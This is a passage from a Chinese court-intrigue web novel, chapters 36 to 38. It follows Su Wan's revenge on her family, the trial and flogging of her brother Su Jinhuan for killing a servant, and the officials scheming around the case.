芸娘唬得说不出话来，她疾步走至苏绾跟前，捂着胸脯带着哭音低声道：“怎么闹出这样大阵仗来？你确保万无一失吗？别到时候，连你自己也栽进去，那可如何是好？”
苏绾挽过芸娘冰凉的手，在她手心按了按，又凑近她耳鬓，低语道：“你放宽心，我心里有数，他们拿不着我把柄。”
芸娘心下稍安，但她也不知何时是头，只祈求苏绾平安无事。
这时节仆从来唤芸娘，宝哥儿在房里跌破脑门，正哭天抹泪，芸娘望了苏绾一眼，得到苏绾眼神确定，旋裙急急走了。
那边苏夫人倒过一口气，眼神一飘，瞟见苏绾立在一旁，嘴边挂着似笑非笑的笑意。苏夫人恍然大悟，她掉进庶女设下的陷阱。
苏夫人丹凤眼一沉，指着苏绾鼻子骂道：“原来是你这小贱蹄子捣鬼，是你联合奸夫，淫药毒害我儿，唆使刑部将他拿入大牢，这招棋，好狠毒！”
苏绾嗤笑一声，刚毅眼神傲然直视苏夫人，“母亲好会猜想，我苏绾何德何能，请的动刑部来抓捕苏尽欢？母亲既然这般笃定，你怎么不去报官？将你所有的猜想，写成一纸诉状，去刑部衙门口击登闻鼓鸣冤。让天下人，都来审一审母亲的冤屈！看看有谁，会信你！”
眼眸果敢，目光炯炯，带着不容侵犯的正气，令苏夫人不敢直视。她只恨自己在大理寺狱之时，没有狠心一刀宰了这个小婊子，如今被小婊子拿住七寸，狠命踢打。
开头有多嚣张，现在就有多狼狈。
苏绾站了半晌，看够了苏家人丑恶嘴脸，转身莲步轻挪。
忽闻苏君识轻飘飘一句，“你去求温如初，教他想办法，将弟弟从刑部大牢里救出来。”
他的语气刺耳，毫无恳请的意思，更像是一种命令，刺得苏绾蹙紧娥眉，“你做梦吧，苏君识。”
苏绾睨了一眼捶胸顿足的苏夫人，又瞟了瞟垂头丧气的苏君识，眉间舒展，嘴角扬着笑意，“上梁不正下梁歪，皆由因果报应。这只是开始，好戏还在后头呐。”
一缕清风吹歌逝，杏花飞帘散馀春。饶是这个春天将尽，迎接她的，会是光辉灿烂的明天。
36. 陪审
“你这是跟苏家杠上了。”
邵云礼剪着手臂，端详悬挂墙面的一柄紫菁宝剑，剑鞘雕刻莲花图纹，巧夺天工，剑柄镶嵌一颗墨玉，低调华丽。他尤其对那枚墨玉感兴趣，忍不住上前取下宝剑，摩挲赏玩剑柄上的玉石。
“前一阵子才逮捕苏家二小姐，如今又盯着苏家大少爷不放手。苏郎中到底哪里惹到你这支天煞孤星？”
时枫坐在太师椅，手里捧着一本《唐宋诗词集》，两脚交叉搭在玉石案台，恰好落在一条缝隙处，“这两个不是一码事。苏绾那次算是我冤枉了她，而苏尽欢却是罪有应得。”
“你小子少跟我装公正不阿，我还不知道你？”邵云礼略微调整角度，让阳光恰好穿过墨玉，透射出一缕浅绿色晶莹幻彩，“你想的是，趁机拿捏苏家把柄，好骑在他们头上作威作福，胁迫苏家退婚，再将女儿转嫁给你。可有此事？”
“胡说八道。”时枫一声嗤笑，可他放下书卷，再想多说几句反驳的理由，又有些理亏词穷。细究下来，其实前面说得都正确，单这最后半句话，荒唐无稽，匪夷所思。受人所托，忠人之事，他可从未想过，要娶那个疯婆娘。
他挑了挑剑眉，满眼泛着不屑，“她算个什么东西，一只奸猾狡诈的狐狸，我会想要娶她？白日做梦。”
“先别急着否认嘛。”
墨玉那缕青芒柔幻似水，波光淼淼，映得四周泛起一层绿雾，迷蒙了邵云礼的眼。他左手攥拳，揉了揉眼帘，复又看过去。
“时将军倒是说说看，你煞费苦心为人家安排前途，不惜一切代价也要告倒苏家，不为谋娶，意图为何？”
邵云礼左看右看，认为这枚墨玉不同寻常，并非市面上常见的那种便宜货，看玉石质地当出产于漠南。
“难不成，”邵云礼抽出宝剑，翻转手腕，随手挽了一个剑花，剑锋直指时枫喉咙，“你这禽兽，欺负了人家小姑娘，被苏郎中敲诈勒索，你怀恨在心，欲报复苏家。”
“有完没完？大理寺断案，就靠这般胡乱臆测？那我也不必求上你的门。”
不知被他哪句话刺激，时枫眼眸一凛，起手推开剑锋，拔座起身，踱步窗前，满园绿意盎然顷刻间在他的眼底舒展。
“苏家待她一直不好，总想着从她身上盘剥好处，动辄威胁打骂。之前在大理寺狱，她的那位母亲，竟然抓住她的把柄，逼迫她写什么‘悔婚书’。所幸有你相助，撤销关于她的诉讼，婚约才得以保持。”
“这样的家庭，不待也罢。细细深究下来，其实是我替她招惹的是非，倘或先前我没有临街逮捕她，她也不至于被逼悔婚，责任在我。如今苏家犯在我手里，必然不会让他们好过。也算是我对她赔礼道歉吧。”
邵云礼听他长篇大论地剖析辩白，越发觉得他“此地无银三百两”，忍不住“噗嗤”一声笑出来，“你们睡过了？”
“你说什么？！”时枫耳际瞬间炸裂，瞳孔急速缩小，头皮一阵一阵的发麻。他倏然旋过身去，双眼瞪着邵云礼，“话可不能乱讲。”
“不是吗？”邵云礼嘴角上扬，“否则你干嘛急吼吼地替人家解决家事？分明是被人拿捏住‘把、柄’。”他刻意拖着长音，视线从时枫身上扫过，意味深长地停留在腰间绶带下方。
“去你娘的。”时枫咒骂道，袍子一甩，气鼓鼓回到桌案边，缩着身子塞进太师椅，既不否认，亦不承认，再不肯多发一言。
根据多年断案的经验，从时枫的反应来看，邵云礼基本可以确定，俩人之间绝非单纯的露水交情，恐怕早已私定终身。
他顺手一扬，剑锋划过一道美丽弧线，凌厉插回刀鞘，“我不管你俩之间孰是孰非，爱谁谁，与我无关。可你硬要插手苏家的案子，所须面对的，可不止苏郎中，乃至连殷布政使也算上，权且当他山高皇帝远，够不到你跟前。”
他掂量着宝剑，转身挂回到墙壁，“别忘了，她可是温侍郎的未婚妻。你当他是傻的，想不到谁在背后捣鬼？无缘无故替他未婚妻捉刀，非奸即盗。而你横加干涉刑部查案的行为，无异于自揭面罩，纯粹是败笔。”
言语之间被人压下一头，时枫很不高兴，脸色一沉，“败笔倒未必，你演戏演得真一点，他上哪里猜我去？你当我只为了打击苏家？我不过是棒打落水狗，看看它背后的主人是谁。刑部审完这案子后，谁站出来替苏家说话，谁就是他真正的底气。”他凤眸一沉，杀气浮动，牙齿咬得咯咯响，“弄清敌人是谁，我才好铆足劲儿，铁拳出击。”
“你还太年轻……”邵云礼眉头紧蹙，瞪着眼前不知天高地厚的弱冠武将军，眼神充满无奈，又有一丝喟叹。
大约是想报方才被嘲笑的仇，时枫眉眼上下扫射他一番，冷笑道：“我道邵将军畏首畏尾，踟蹰不前，原来是被人唬破胆子。当年在漠南时，你可不是这般懦弱怕事。打鞑靼可汗那场战役，邵将军连军令都敢抗拒不从，为此还差点被我爹砍了脑袋。如今邵将军弃武从文，摇身一变成为邵大人，没想到连骨气也跟着丢了，可笑，可悲也。”
邵云礼身子一颤，青色袍子抖了抖，咬牙切齿，“滚你丫挺的，毛还没长齐的愣头青，敢反过来教我做事。你在京城官场混了不过仨月，人头都没摸清，脚丫子都够不着，见识过多少魑魅魍魉，鱼龙混杂？官场哲学堪比战术兵法，这里面盘根错节，官官相护，凭你一己之力，蚍蜉撼树谈何易？我看你才是白日做梦。”
一席肺腑之言，仿佛一柄利剑，直戳入时枫心窝。他承认，过去的几日里，他曾苦心孤诣筹谋，既为成就苏绾，也为阗满自己的野心。然而他好像似乎是太过轻敌——他从未想过敌人会比他更强大。
但他的骄傲不允许他投降认输，时枫低垂着眼眸，睫毛剪了剪，淡然道：“别人怎么想我管不着，我自个儿怎么想，我心里明白。岂能尽如人意，但求无愧我心。就算结果是一场梦，那我也要在梦境里，挥斥方遒，杀他个天昏地暗，痛痛快快。”
轮到邵云礼愕然，他怔忪睇着时枫，“你斗不过他。”
“不试一试，又怎么知道我斗不过？”时枫负气似的扬着头，眼神中带着一股年轻人血气方刚，不撞南墙不回头的劲头。
邵云礼好像第一次认识时枫，又好像意料之内的熟识，俄延半晌，低头啐了一口，“也罢，你自己作死，我不拦你。谁让我在漠南欠你条命呢，就当老子还债。”
“这个案子，你必输无疑。”
他摆了摆青色袍子，旋身即要出门，临了扔下一句话：“近来不要找我，我审案子时，最恨别人指手画脚。”
邵云礼阵风般离去，剩下时枫独自对空嗟叹，他忽然意识到，自己将要面对的敌人，与战场上刺刀拼杀的敌人，二者的本质，根本就不一样。
春花发尽，一夕欢喜一夕晖，柳叶无趣隐啼莺，垂落亭台楼阁，飞檐斗拱，葱茏半出烟。
刑部衙门高堂上，“明镜高悬”匾额挂立，堂前两排衙役，手持杀威棒森然而立。
时下刑部由云南清吏司代管签分，正五品郎中魏添全身穿青袍白鹇补子端坐案前，身侧多了张椅子，坐着大理寺卿邵云礼，一身绯袍孔雀补子。
这是苏尽欢虐杀奴婢一案，第三次公堂审讯，由刑部魏添全主审，大理寺邵云礼陪审。去提审被告的衙役尚未归来，趁着这个空档，两位大人闲叙话家常。
邵云礼随手翻阅案犯供词及堂审笔录，上面写着诸如“人证、物证俱全，死者尸身发现埋于后花园墙根，另有一名家养乳母受辱”等字样。
邵云礼动了动眉毛，赞叹道：“事实确凿无疑，案情无疑点，魏大人果然明察秋毫，料事如神。邵某多余此行，不如早些退堂回去，还能赶上喝下午茶。”
魏添全四十出头，云南提刑按察使司五品佥事出身，平调京直隶刑部五六年，断案经验丰富。他捋了捋胡须，摇头自谦：“哪里哪里，多亏邵大人前番提点，下官醍醐灌顶，茅塞顿开，这才从苏家府内挖出死者尸身，解开关键环节。邵大人才是真正的料事如神。”
两人互相吹捧一阵，彼此心知肚明，又都有些尴尬无趣。魏添全沉寂半晌，犹豫半天开口道：“下官有一事不明，还请邵大人解惑。”
他清咳一声，“吏部苏郎中也算下官同僚，其人谨小慎微，从不张扬跋扈。他的嫡子出了这档子事，可大亦可小，按理来说，应由县衙乃至顺天府承接词讼，怎么直接告到刑部来？可是他得罪了谁？”
不等回话，又翻了翻眼睛，“谁那么不开眼，诟谇谣诼苏家？都知道苏郎中的大舅子，乃是浙江二品布政使殷潜，这等于是要置殷潜的亲外甥于死地。”
邵云礼放下供词笔录，袖中抽出一柄折扇，横端比划一下，“浙江距离京城，三千里之遥，来回千里马跑六天，人走茶凉矣。况且按朝中惯例，凡涉及直系亲眷，事主均须回避，所谓避嫌。殷布政使鞭长莫及，有心无力，又有何所顾虑？”
他的话语模棱两可，常人听不出什么异常，然魏添全混迹官场十来年，打马虎眼之事游刃
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有余，他敏锐地从邵云礼的只字片语中，抽丝剥茧，得到关键信息：幕后操纵者就在皇城根儿底下。
魏添全不免冷气直抽。
敢同封疆大吏对抗之人，尤其是江南第一富庶大省，财力物力顶半边江山，放眼天下，五根手指都数得过来。
魏添全抬眼眱了下邵云礼，“邵大人想必是不怕的，对吗？”
邵云礼轻摇折扇，嘴角一斜，“魏大人抬举了，邵某不过区区三品大理寺卿，论权论势，都低人一等，怎么会不怕呢？”
凭他一人当然不够格，他背后人物才是真正的黑手。可又能是谁呢？
邵云礼本人年方二十九，前任大理寺卿之子，六年前武官转文迁调大理寺衙门，子承父业，一步一步升迁至当前位置，勤勤恳恳，兢兢业业，并无任何卖官鬻爵行为。
而大理寺作为“三法司”，在波谲诡异的朝庭，一直力求公正廉明，不偏不倚，亦不拉帮结伙。
什么人能让他甘愿为虎作伥？
魏添全左思右想，仍不得其咎，欲探一探他口风，随手拿起签筒里一支白头令签，握在手里摆弄，“邵大人谦虚，那依大人所见，此案当如何决断？”
邵云礼收住折扇，眉毛一挑，“魏大人乃主审，邵某不过旁听，如何断案，当由魏大人做主。”
话语未落，魏添全已然面露一丝烦躁之色，正欲开口再问，邵云礼嘴角勾起，拱手拜天，“我等奉皇命，断天下刑名，掌司法谳治，拨乱反正，进言直谏。岂敢蝇营狗苟，徇私舞弊，畏惧权势，有愧于皇恩浩荡。”
畏惧权势？此案权势唯有苏尽欢一人，其余皆为贱民。
这是要他判定苏家嫡子罪名。
见邵云礼给出答案，魏添全立即端起袖子溜须拍马：“大人一颗丹心寄明月，明知山有虎，偏向虎山行。下官须向大人看齐，唯大人马首是瞻。”
“魏大人过奖。”邵云礼亦端袖应和。
俩人又开启新一轮互相吹捧，正说话间，犯人苏尽欢押到。少年穿着囚服，头发蓬乱不堪，眼珠昏暗无光，昔日嚣张气焰烬灭，手脚束缚跪伏堂前。
魏添全执供词笔录，一一对句询问，“你知罪否？”
苏尽欢牢狱里折腾几日，受尽各种刑罚，囚服血迹斑斑，破落缝隙依稀可见伤痕累累。
但他纨绔子弟，父母疏于管教，自不懂“忍”字如何写法，歪着脑袋扯脖子叫喊：“我不认罪。”
当下叫嚣一番家族谱系，除了必不可少的舅舅殷潜外，连户部侍郎温如初的名号也搬出来，直言要让审判官“吃不了兜着走”。
直至衙役上前抽了他一大嘴巴，打得嘴丫子满是鲜血，这才止住叫嚷。
魏添全面皮微热，自觉在同僚面前丢了颜面，他瞥了一眼邵云礼，对方手里轻摇扇子，眼眸垂下，嘴角挂着一丝戏谑，俨然一副看好戏的劲头。
魏添全不禁发怒，喝道：“公堂之上，岂容你放肆。来人呐，准备行刑。”
案桌上放有四支签筒，分写四字“执法严明”，“执”字是捕捉令，其它三支签筒分为白头签、黑头签、红头签。
其中白头签，代表笞杖之刑最轻，犯人受刑后，皮肉无痛，可立刻走人；黑头签，犯人皮开肉绽，痛不欲生；若为红头签，犯人仅剩一口气，残废必然。
魏添全掂量一番刑罚，倘若苏尽欢认罪态度良好，他也愿意卖苏家一个人情，酌情打几板子敷衍了事。可那苏尽欢偏偏是个没眼力劲的，少不得要让其吃点苦头，但也不能一棒子打死。
中庸之道，不止适用于京城官场，纵观天下古今，无一不受裨益。
魏添全伸手执起一枚黑头签，掷在地上，“罪犯苏尽欢杀死奴婢，杖一百七，徒一年半。兼并□□乳母罪，二罪并罚，杖二百，徒二年。”
衙役拾起令签，便将苏尽欢绑在长凳，举起“王法”竹板杖，啪啪啪，用力拍打起来。
苏尽欢起先还叫骂八辈祖宗，俄顷，声音渐渐式微，除了哭喊爹娘以外，只剩粗重喘息声。
即将凑成五十，忽然堂外传来一声喝令：“住手！都察院佥都御史到。”
那佥都御史黑靴趸进堂前，宽袖一甩，横眉怒目，指着魏添全鼻子，“先帝定下三法司会审制度，都察院未行监督纠察之职前，刑部怎敢擅自定罪施刑？”
魏添全惊得一身冷汗，大理寺为谁捉刀他不晓得，可是都察院背后的人物，却是满朝文武尽知——就是当朝东阁大学士首辅章任梁。
37. 证据
那日端阳宴席被礼部徐尚书大闹诏狱打断，温如初不得不撇下苏绾，急匆匆赶回诏狱安抚徐尚书。
老头颤颤巍巍扯住温如初袖管，哑声道：“不干小儿的事，供银系老夫贪墨，要抓就抓我一人儿。”
温如初甩开徐尚书，两手一摊，表情颇为无奈，“老尚书大人糊涂，光天化日，怎可混淆是非，颠倒黑白？”
徐尚书老泪纵横，端起广袖久久俯身，“老夫拜求如初贤侄，放我儿一条生路，我愿赔上全部身家。”
老头言语恳切，全然不顾自己二品礼部尚书身份，直把全部希望寄托在三品户部侍郎身上，令旁人一阵唏嘘，感慨万千。父母之爱子，则为之计深远。
温如初的桃花眼狡黠地剪了剪，按下徐尚书的宽袖，“那倒不至于赔上整个徐家，令郎的事情，并非山穷水尽，无路可退。”
徐尚书老眼一亮，“贤侄是说……”
温如初抬眼扫了扫，扯住徐尚书袖子，避开人群，来到一处僻静场所，双手扶他坐在圆凳，“老尚书大人莫慌，下官有一计，定能替大人分忧解难。”
房间昏暗，映得月白锦袍格外耀眼，他转过身背对着徐尚书，桃花眼眸闪烁一点点兴奋的光辉。
“年初山东河南两地招了灾，导致果树结的果实小而酸涩，无处倾销，果农损失惨重。令郎作为太常寺少卿，得知果农生计无所依，起了仁慈济世之心，收购这批残次果品，用作祭天。上若有所问，可答曰：‘天命与人命，孰轻孰重？’圣上自不会再追究。此为其一。”
“另有关于半数供银去路一案，京城西市有一摆‘平安救济摊’，广发免费糯米粽，摊主乃下官好友，生意人。下官与他说好，这摊子出资人乃太常寺，将端阳祭天供银广散天下穷苦百姓，以表圣上爱民如子之心。圣上怜惜太常寺仁怀心肠，必不会定你的罪。此为其二。”
“其三，这两笔银钱一来一去，户部账本自会记录清楚，不敢给老尚书大人添麻烦。然而整件事情，均有太常寺一家承担，与我户部毫无干系，大人不要扯住户部不放，专心应对上策才是重要。”
“最后，下官不得不提醒老尚书大人，这件事情说白了，还是枕边人起祸。大人保得住令郎性命，保不住他的官途，司礼监自然查的出谁做的手脚。不但令郎难以独善其身，大人的那位妾室，恐怕也得赔上性命，以平阗司礼监的怒火。”
一番话语将徐尚书的问题安排得明明白白，清清楚楚，不但解决了供银贪墨一案，将徐引从中彻底抽离出来，还安抚了司礼监的太监们。不可不谓良策也，然手段之波谲云诡，亦是令人喟然慨叹。
徐尚书眨了眨昏花老眼，抿了抿干涩嘴皮，内心感到无比震撼。眼前浮现出，三年前十九岁的登科状元温如初抽调户部员外郎时情形。
少年芝兰玉树，锦袍罗衫，长身玉立，唱喏问安，“下官温如初，拜见尚书大人。”
徐尚书见他星月之相，满生欢喜，拉着手闲叙：“老夫前日读了你写的一篇策论，讲的是国计民生，颇有一番独到见解，可有老师教你？”
温如初摇摇头，“下官自幼跟着父亲读书，未曾得外门训诫。”
徐尚书老眼一弯，拍拍他的肩膀，“无师自通，天生奇才也，老夫若请调你来礼部，户部梁尚书定然舍不得你。少不得今后多来我这里走动，喝两口礼部沏的‘白毫银针’。”
温如初桃花眼眸剪了剪，“承蒙尚书大人厚爱，下官自当聆听大人谆谆教诲。”
风烟吹三载，悠悠魂梦杳。
当年清风朗月的少年，如今已成长为胸有激雷的男人，有谋略，有手段，有胆识，不可小觑之。
徐尚书攥了攥温如初的肩膀，又拍了他两下，心内五味杂陈。羞赧，惭愧，愤怒，感激，惊诧，说不清，道不明的情绪，一时迷蒙了老头的心。
望着窗外屋檐吊放的纸扎葫芦，徐尚书喃喃道：“时将军所言有理，果然是条明路。”
声音囫囵不清，传进温如初耳际，他只听到只字片语：“将军”、“明路”。
“老尚书说甚？”
徐尚书摇摇头，俄延半晌，不发一言。
“哦。”温如初对此并未起疑心，他剪着手臂，畅然笑了笑，“话又说回来，下官最近遇到一桩烦心事，唯有老尚书能解我忧思。”桃花眼眸沉了沉，“圣上屡屡催促，与西藏吐蕃土司和亲一事，下官经过一番挖掘采选，终于有了眉目，选中一位才色俱佳，身份地位般配的女子。接下来，还要靠老尚书大人鼎力推介，才能促成秦晋之好。”
徐尚书十分茫然，“哪位女子？”
温如初勾唇一笑，“远在天边，近在眼前。不就是吏部苏郎中家的嫡女，名为苏沅芷。”
黄鹂临梦啼一声，流水落花春去也，天上人间。
供银贪墨案告终，太常寺全身而退，少卿徐引告病归乡，徐家小妾下落不明，后被人发现溺死井中，端阳节日烛火烬灭，天边不留一丝痕迹。
然则世事难预料，一波未平，一波又起。
户部礼部联合推介和亲人选一事，还未得促成，温如初就接到另一则让他坐不住椅子的消息。
苏家出事了，苏尽欢被下狱。
对于这样的结果，他并不为奇。被宠坏的公子哥，打杀家养的奴婢，再寻常不过。按以往惯例，县衙走一遭，直言该奴犯了盗窃□□一类死罪，主人自行惩罚之。衙门断不会难为，销籍即可，不过是一笔勾销的事。
然而苏尽欢，却是被刑部直接拿去，未曾经过县衙乃至顺天府审查。
听说是被太医院的隋太医告了，小小太医院竟然敢动苏郎中的嫡子，殷潜的外甥。
更不可思议的是，一件平常不过的案子，竟招来大理寺过问，全程监理。
种种迹象表明，这不是一件简单的案件，隐藏在背后的，是各方面力量角逐。很明显，有人要办苏家。
究竟会是谁？
不，不对，不是苏家。
苏家只不过是幌子，扳倒苏郎中这样官途黯淡的小吏，没有任何意义。倘若冲着殷潜而来，对方大可直接拿政绩把柄说事，何必不痛不痒地对付苏家。
显然，对方是冲他而来。
苏郎中包庇罪，苏尽欢杀人罪，这些罪名一旦定罪，苏家将身败名裂。而温家与苏家的联姻，也会面临被取消的后果。毕竟罪臣之女，又怎能娶进门呢？
道理上可通，尽管有些弯弯绕绕。
如果婚约取消，受益者又会是谁呢？
侍从远舟敬上一盏“碧螺春”，茶烟淼淼，轻如薄纱。温如初端着茶盏，睇着前方出神。恰时一缕斜阳映入书房，投射一道明亮的光剑，不偏不倚，正照在案上摆放的一枚墨玉上——
之前在苏府，苏夫人交给他这枚墨玉，说是从奸夫身上扯下来的。彼时他还不能完全确定，纳征之日所发生的骚乱，到底是苏沅芷自导自演的阴谋，还是真的确有其事。
温如初得到墨玉之后，摩挲摆弄良久，未曾发现半点异常，索性丢在一边再未管它。不过是市面上常见的货品，西市的首饰铺子里多的是，一枚也就几两银子的事。
然而此刻，经过阳光沐浴和茶烟洗礼，玉石却散发出异样的青绿色透明光彩，微光粼粼，穿透袅袅茶烟。
温如初放下茶盏，摸过来那枚墨玉，摊在手心里揉了揉，好似捏着一颗碧绿的水晶。可一旦离开阳光照射，立即恢复普通黑色墨玉。
此物乃稀世宝玉，绝非中原所有。
桃花眼眸倒映一片青芒，亦如他头顶晦暗的绿云，是怒，是嗔，是咽不下去的苦涩。他狠狠地攥起手心，指甲嵌进肉里，肆意发泄满腔的怒火。
那个女人，终究是负了他。
他恨不得立刻冲到苏家，去将她掳了来，好好盘问审讯一番，问问她究竟有没有良心，怎敢背弃佛前誓言。又或者敲碎她的牙齿，从她嘴里撬出来，奸夫到底是谁。
可他有他的教养和分寸，也有不肯认输的傲娇。敌人挑衅的剑锋，已然指到他鼻子跟前，他没有退后的选择，唯有迎头一棒，与对方针锋相对。
跟他斗，活的不耐烦了。
敌人的这步棋，无非在探究他的底线，看他能忍到何时。那他就摆出自己真正的底气，跟对方硬碰硬。
温如初召来侍从远舟，嘱咐他送一封书信，至东阁大学士章任梁府邸。
时光春华可惜，一转眼又过了七八日。
自从苏尽欢被刑部拿去以后，苏家再没有封锁门户的必要，索性敞开大门。期间人来人往，三法司接连不断派人访查，搜集证据，苏家不得不一一尽心接待。
苏绾同芸娘、无霜等人，连同宝哥儿和乳娘，亦已回归紫竹苑住所。苏绾担心案子进展，时不时让芸娘去撬苏老爷的口风。得到的消息有好有坏，她一时也没有头绪，整日闷着，恹恹不乐。
苏绾欲派人去时枫那里打探情况，可据她对时枫的了解，必定打探不到任何消息线索，还会反过来拿住她的短处，又要强迫她“下单付账”。
“小姐，此人不可靠，莫上他的当。”
精细绣花针左右穿引，无霜正努力缝补苏绾那件翡翠烟罗绮云裙。任务十分艰巨，仅对襟被扯烂好几处，无消说裙裾和袖边。
本来早就该缝了，只是苏家出了一场大乱，无霜根本没机会做绣活。如今总算有些空暇，赶紧捣腾针线。
她边缝边叹气，小姐本来拿得出手的裙钗就不多，纳征那日还要依靠夫人施舍首饰鬓花，怕她“丢了苏家颜面”，弄到最后，也不知究竟谁丢脸。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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苏绾从纸堆里翻出一张薛涛笺，琢磨着写些诗词，“他虽看着冷戾无情，然朝廷三品大将军，又是绥靖王世子，言必信，行必果。他承诺会帮我，总不会骗了我去。”
无霜放下手中活计，给苏绾端来一盅才蒸好的燕窝羹，为她补充元气。自端阳始，苏绾落得一身伤痕，有新有旧，全身被狗啃过一般，惨不忍睹。再加上被婆子家丁摁在手里几次，浑身上下无一处平滑肌肤。
“霜儿不懂，为何一定要找上他？下手那样重，好像吃人一般。”无霜一脸怒容，西厢房一夜，她虽懵懂无知，但总归贴身伺候苏绾起居，发生什么事，她也猜得八九分。
苏绾捻起瓷匙，舀了一勺，吹散热气，“既求他办事，总不能空着两手，少不得吃点亏。我也认了。至于为何是他，我问问你，京城之内，除了深宫里的皇亲国戚，哪个还能不被他管制？他身为绥靖王世子，官拜京卫指挥使，拱卫京师，守护宫禁，统领京郊大营三万兵马。他有权有势有能力，天子脚下，直踩江山社稷命门，谁人敢在他头上撒野。便是皇宫上直卫锦衣卫，名义上受他辖制，也要让他三分。”
无霜嘟着小嘴，“凭他再厉害的人物，折腾小姐就是不对。卑鄙手段用尽，只为骗取小姐身子，这可是大将军做出来的德行？”
她重新坐回塌上，捡起那条裙子，继续缝缝补补，“小姐为何不去求姑爷？我们姑爷贵为三品大员，也能帮着小姐呀。姑爷哪里不好，温柔体贴，彬彬有礼，和姓时的比起来，简直一个天上，一个地下。小姐放着如玉公子不要，偏要招惹黑狗，定是中了邪。”
匙中羹已温，苏绾小口啜饮，燕窝温润入喉，沁人心脾。平常她根本吃不到这类名贵补品，管家嬷嬷总是皮笑肉不笑地打发无霜，“惯例已分完，剩下存货留给老爷夫人应急。”苏老爷苏夫人四旬刚过，身强体健，也不知有何可急。
及至苏尽欢昏睡三日，数不清的人参燕窝伺候着，更加没有苏绾的份。眼前这份燕窝，是芸娘亲自送过来，无霜拿去偷偷炖煮，躲过管家嬷嬷的眼线。
芸娘障袂窃笑，“老不死塞给我的，死乞白赖非要我吃，说什么补气养元。我自是吃不得这许多，你也别跟我客气，反正都是拿苏家的银子养苏家的人。”
苏绾取出绢帕，擦拭嘴角痕迹，触碰到旧日裂痕，脑海蓦然浮现醉仙楼那一幕。
穿石青色衣袍的男人居高临下，凤眸凛冽，长有薄茧的手指隔着汗巾在破裂唇际碾过，夹带着一丝雪松气息。
“你乖一点，我自会帮你解决问题。既找上我的门，绝无教你一无所获，另寻出路的道理。”
嘴角残余一丝隐隐作痛，但更多的还是畏葸之心。
上一世苏绾被禁锢在皇宫，对朝堂争斗有所耳闻。温如初成为内阁首辅之后，权倾朝野，打着“清君侧”的名义，斩尽一数忠良将相，包括时枫的父亲绥靖王时谦。
时枫被贬谪西域边塞驻防，得知消息后怒不可遏，率领三十万讨伐军攻打京师。
温如初本就不得人心，朝廷节节败退。眼看大军来袭，他竟将苏绾推出去当做“祸国妖姬”，替他承担罪名，蛊惑百姓诛杀妖女。
火光冲天，苏绾最后一眼望见，天边红云团聚，那是时枫的讨伐军旗帜。守城士兵左支右绌，只得弃甲曳兵，纷纷溃逃。希望的曙光就在前方，可惜苏绾没能看到尽头。
重活一世，苏绾定要抢在温如初前头，将他的罪恶滔天行径掐灭于萌芽，不给他留丝毫崛起的机会。而唯有牵绊住时枫，借助他的力量，苏绾才能成就复仇大业。
苏尽欢一案，是苏绾为报复苏家，走的第一步棋，后面还会有第二步，第三步，直至全部苏家人付出血的代价。
倘若一开始，她只想逃离温如初的爪牙，未曾想过颠覆苏家。然而大理寺狱中，苏夫人毫不客气送了她七根银针作为赠礼，她怎么也得有所回馈，礼尚往来嘛，就回报一个家破人亡吧。
小小礼物，不成敬意。
葱指拂伤，苏绾淡淡道：“温侍郎并非我的良人，时将军亦非终身托付。我不过权其利害，拿一根棒子，去打另一条狗而已。大棒荆棘刺手，我也没什么好抱怨，路是我自己选的。”
无霜望着苏绾坚毅的神情，瘪了瘪嘴表示不服。她想不通，两个月前小姐还拉着姑爷的手，羞涩地询问他何时来娶她，怎么眨眼间就另觅新欢，一门心思离开姑爷。
无霜暗自揣测，小姐多半被“黑狗将军”——她私底下偷偷这样称呼时枫——迷失心窍，误上贼船。但她不敢轻举妄动，须坐等机会，一举揭穿他假面具。
然而人生不如意，十有八九。苏绾和无霜翘首以待，却只等来刑部的一纸通告。
因案情复杂，证据不足，嫌犯苏尽欢取保候审，即日放归。
38. 释放
黄梅时节家家雨，五月尽时多恶风。苏绾一身青纱襦裙，斜倚阑干，望廊外绵绵细雨，丝丝密密，仿佛张张织网，将她束缚捆绑，勒得她快要窒息。
苏尽欢比她预料的，早了一点被释放归家。三日前的清晨，苏尽欢被差役架着，一瘸一拐，满鬓沧桑，蹒跚回到苏府。
才刚迈进门槛，大老远听见苏夫人尖着嗓子，急急奔来，“怎么还给拷着？快打开手镣脚镣，刑部干的可是人事？”
苏尽欢也不走，大嘴一咧，脚底一滑，蹲在天井哭嚎：“娘亲～”
苏夫人扑倒儿子，母子俩相拥而泣，一个道“孩儿好苦”，一个道“心肝宝贝”。泪水滂沱，淹没整座宅院。
差役等得不耐烦，上前一拉扯散他俩，动手除去束缚苏尽欢的镣铐，嘱咐道：“原本是要一直上镣的，但上头批了特例，准许不戴。所有取保候审的犯人，以家宅为中心，行动范围，不得离开方圆五里之地。每隔两日，须向京直隶巡检司报到，并由县衙主簿记录在册。倘若违反任一律例，即刻缉拿归案。听清楚了吗？”
苏夫人撇撇嘴，正想驳斥差役无礼，旁边苏君识摁着袖子，抢先回复：“犯官知道了，不饶差爷烦恼。”
差役唱了个喏，即风风火火打道回府，余留满院尘土飞扬。仆役们进进出出收拾东西，打扫庭院，整座苏府像是获得新生，又重新活络起来。
晚间苏夫人张罗一桌宴席，说要给苏尽欢“接风”。苏尽欢拄着拐杖，佝偻腰身，好像小老头，满脸委屈道：“好主意！还是娘亲疼我，知道我在牢里受了大难。没吃没喝不说，狗日的狱卒，净拿皮鞭子蘸水抽我，儿子浑身上下，就没一处好皮肉。”
说着，还应景似的，挤出一滴咸泪，疼得苏夫人一把搂在怀里，“我儿受苦、我儿遭罪”，喊个不停。她的一双儿女，自打出生，就没离开过她一日，也没受过半点委屈。如今含金汤匙的少爷，竟然落了大狱，叫她怎能不心疼。
苏君识耷拉老脸，没好气似的，捋了捋袖管，骂道：“接风、接风，你这孽子，不气死老子你不罢休。捅出天大的篓子，还不知悔改，你爹这张老脸，都快被你丢尽了。这个家，早晚败在你手里。”
苏夫人松开搂抱苏尽欢的手臂，端正坐在椅内，抬手整理发髻，丹凤眼直飘，“欢儿能全须全尾的回来，虽说托的是温侍郎的人情。但这里面归根结底，还是仰仗你舅舅的福报。倘若没有你舅舅，就是被人打死在大牢，也没人替你叫屈。”
苏君识本意还想借着温侍郎的名头，挫一挫苏夫人的威风，让她偃旗息鼓，从此不再作威作福。谁知苏夫人轻飘飘一句话，即抹杀温侍郎的功劳。只能说愿景虽美好，现实忒残酷。
苏君识缩了缩身躯，赌气似的，转头吩咐家丁，“叫西边二奶奶、小少爷，以及二小姐一齐回来参加晚宴。”
